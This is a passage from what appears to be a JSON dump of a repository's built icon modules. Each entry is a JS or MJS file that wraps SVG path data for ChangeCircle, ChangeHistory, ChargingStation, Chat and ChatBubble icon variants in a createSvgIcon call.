    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.06 17v-2.01H12c-1.28 0-2.56-.49-3.54-1.46-1.71-1.71-1.92-4.35-.64-6.29l1.1 1.1c-.71 1.33-.53 3.01.59 4.13.7.7 1.62 1.03 2.54 1.01v-2.14l2.83 2.83zm4.11-4.24-1.1-1.1c.71-1.33.53-3.01-.59-4.13C13.79 8.84 12.9 8.5 12 8.5h-.06v2.15L9.11 7.83 11.94 5v2.02c1.3-.02 2.61.45 3.6 1.45 1.7 1.7 1.91 4.35.63 6.29\"\n}), 'ChangeCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.06 17v-2.01H12c-1.28 0-2.56-.49-3.54-1.46-1.71-1.71-1.92-4.35-.64-6.29l1.1 1.1c-.71 1.33-.53 3.01.59 4.13.7.7 1.62 1.03 2.54 1.01v-2.14l2.83 2.83zm4.11-4.24-1.1-1.1c.71-1.33.53-3.01-.59-4.13C13.79 8.84 12.9 8.5 12 8.5h-.06v2.15L9.11 7.83 11.94 5v2.02c1.3-.02 2.61.45 3.6 1.45 1.7 1.7 1.91 4.35.63 6.29\"\n}), 'ChangeCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m.06 9.34v2.14c-.92.02-1.84-.31-2.54-1.01-1.12-1.12-1.3-2.8-.59-4.13l-1.1-1.1c-1.28 1.94-1.07 4.59.64 6.29.97.98 2.25 1.47 3.53 1.47h.06v2l2.83-2.83zm3.48-4.88c-.99-.99-2.3-1.46-3.6-1.45V5L9.11 7.83l2.83 2.83V8.51H12c.9 0 1.79.34 2.48 1.02 1.12 1.12 1.3 2.8.59 4.13l1.1 1.1c1.28-1.94 1.07-4.59-.63-6.3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.06 11.34v2.14c-.92.02-1.84-.31-2.54-1.01-1.12-1.12-1.3-2.8-.59-4.13l-1.1-1.1c-1.28 1.94-1.07 4.59.64 6.29.97.98 2.25 1.47 3.53 1.47h.06v2l2.83-2.83zm3.48-4.88c-.99-.99-2.3-1.46-3.6-1.45V5L9.11 7.83l2.83 2.83V8.51H12c.9 0 1.79.34 2.48 1.02 1.12 1.12 1.3 2.8.59 4.13l1.1 1.1c1.28-1.94 1.07-4.59-.63-6.3\"\n}, \"1\")], 'ChangeCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m.06 9.34v2.14c-.92.02-1.84-.31-2.54-1.01-1.12-1.12-1.3-2.8-.59-4.13l-1.1-1.1c-1.28 1.94-1.07 4.59.64 6.29.97.98 2.25 1.47 3.53 1.47h.06v2l2.83-2.83zm3.48-4.88c-.99-.99-2.3-1.46-3.6-1.45V5L9.11 7.83l2.83 2.83V8.51H12c.9 0 1.79.34 2.48 1.02 1.12 1.12 1.3 2.8.59 4.13l1.1 1.1c1.28-1.94 1.07-4.59-.63-6.3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.06 11.34v2.14c-.92.02-1.84-.31-2.54-1.01-1.12-1.12-1.3-2.8-.59-4.13l-1.1-1.1c-1.28 1.94-1.07 4.59.64 6.29.97.98 2.25 1.47 3.53 1.47h.06v2l2.83-2.83zm3.48-4.88c-.99-.99-2.3-1.46-3.6-1.45V5L9.11 7.83l2.83 2.83V8.51H12c.9 0 1.79.34 2.48 1.02 1.12 1.12 1.3 2.8.59 4.13l1.1 1.1c1.28-1.94 1.07-4.59-.63-6.3\"\n}, \"1\")], 'ChangeCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistory.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.77 18.39 18H5.61zM12 4 2 20h20z\"\n}), 'ChangeHistory');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistory.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.77 18.39 18H5.61zM12 4 2 20h20z\"\n}), 'ChangeHistory');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.77 18.39 18H5.61zM12 4 2 20h20z\"\n}), 'ChangeHistoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistoryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.77 18.39 18H5.61zM12 4 2 20h20z\"\n}), 'ChangeHistoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.77 18.39 18H5.61zm-.85-2.41-8.2 13.11c-.41.67.07 1.53.85 1.53h16.4c.79 0 1.26-.86.85-1.53l-8.2-13.11c-.39-.63-1.31-.63-1.7 0\"\n}), 'ChangeHistoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.77 18.39 18H5.61zm-.85-2.41-8.2 13.11c-.41.67.07 1.53.85 1.53h16.4c.79 0 1.26-.86.85-1.53l-8.2-13.11c-.39-.63-1.31-.63-1.7 0\"\n}), 'ChangeHistoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistorySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.77 18.39 18H5.61zM12 4 2 20h20z\"\n}), 'ChangeHistorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.77 18.39 18H5.61zM12 4 2 20h20z\"\n}), 'ChangeHistorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.77 5.61 18h12.78z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4 2 20h20zm0 3.77L18.39 18H5.61z\"\n}, \"1\")], 'ChangeHistoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeHistoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.77 5.61 18h12.78z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4 2 20h20zm0 3.77L18.39 18H5.61z\"\n}, \"1\")], 'ChangeHistoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 11-3 6v-4h-2l3-6v4zM7 1h10c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2m0 5v12h10V6z\"\n}), 'ChargingStation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 11-3 6v-4h-2l3-6v4zM7 1h10c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2m0 5v12h10V6z\"\n}), 'ChargingStation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 11-3 6v-4h-2l3-6v4zM17 3H7v1h10zm0 17H7v1h10zm0-19c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2zM7 18h10V6H7z\"\n}), 'ChargingStationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 11-3 6v-4h-2l3-6v4zM17 3H7v1h10zm0 17H7v1h10zm0-19c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2zM7 18h10V6H7z\"\n}), 'ChargingStationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10zm-4.5-7V9.12c0-.53-.71-.7-.95-.22l-1.69 3.38c-.16.33.08.72.45.72h1.19v1.88c0 .53.71.7.95.22l1.69-3.38c.16-.33-.08-.72-.45-.72z\"\n}), 'ChargingStationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10zm-4.5-7V9.12c0-.53-.71-.7-.95-.22l-1.69 3.38c-.16.33.08.72.45.72h1.19v1.88c0 .53.71.7.95.22l1.69-3.38c.16-.33-.08-.72-.45-.72z\"\n}), 'ChargingStationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 11-3 6v-4h-2l3-6v4zM5 1h14v22H5zm2 5v12h10V6z\"\n}), 'ChargingStationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 11-3 6v-4h-2l3-6v4zM5 1h14v22H5zm2 5v12h10V6z\"\n}), 'ChargingStationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3v1H7V3zm0 17H7v1h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 11-3 6v-4h-2l3-6v4zM17 3H7v1h10zm0 17H7v1h10zm0-19c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2zM7 18h10V6H7z\"\n}, \"1\")], 'ChargingStationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChargingStationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3v1H7V3zm0 17H7v1h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 11-3 6v-4h-2l3-6v4zM17 3H7v1h10zm0 17H7v1h10zm0-19c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2zM7 18h10V6H7z\"\n}, \"1\")], 'ChargingStationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Chat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 9h12v2H6zm8 5H6v-2h8zm4-6H6V6h12z\"\n}), 'Chat');"
  },
  {
    "path": "packages/mui-icons-material/lib/Chat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 9h12v2H6zm8 5H6v-2h8zm4-6H6V6h12z\"\n}), 'Chat');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubble.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'ChatBubble');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubble.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'ChatBubble');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}), 'ChatBubbleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}), 'ChatBubbleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}), 'ChatBubbleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}), 'ChatBubbleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4v12H5.17L4 17.17V4zm0-2H4c-1.1 0-2 .9-2 2v15.59c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'ChatBubbleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4v12H5.17L4 17.17V4zm0-2H4c-1.1 0-2 .9-2 2v15.59c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'ChatBubbleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-2 14H6l-2 2V4h16z\"\n}), 'ChatBubbleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-2 14H6l-2 2V4h16z\"\n}), 'ChatBubbleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}), 'ChatBubbleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}), 'ChatBubbleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'ChatBubbleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'ChatBubbleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleRounded.js",
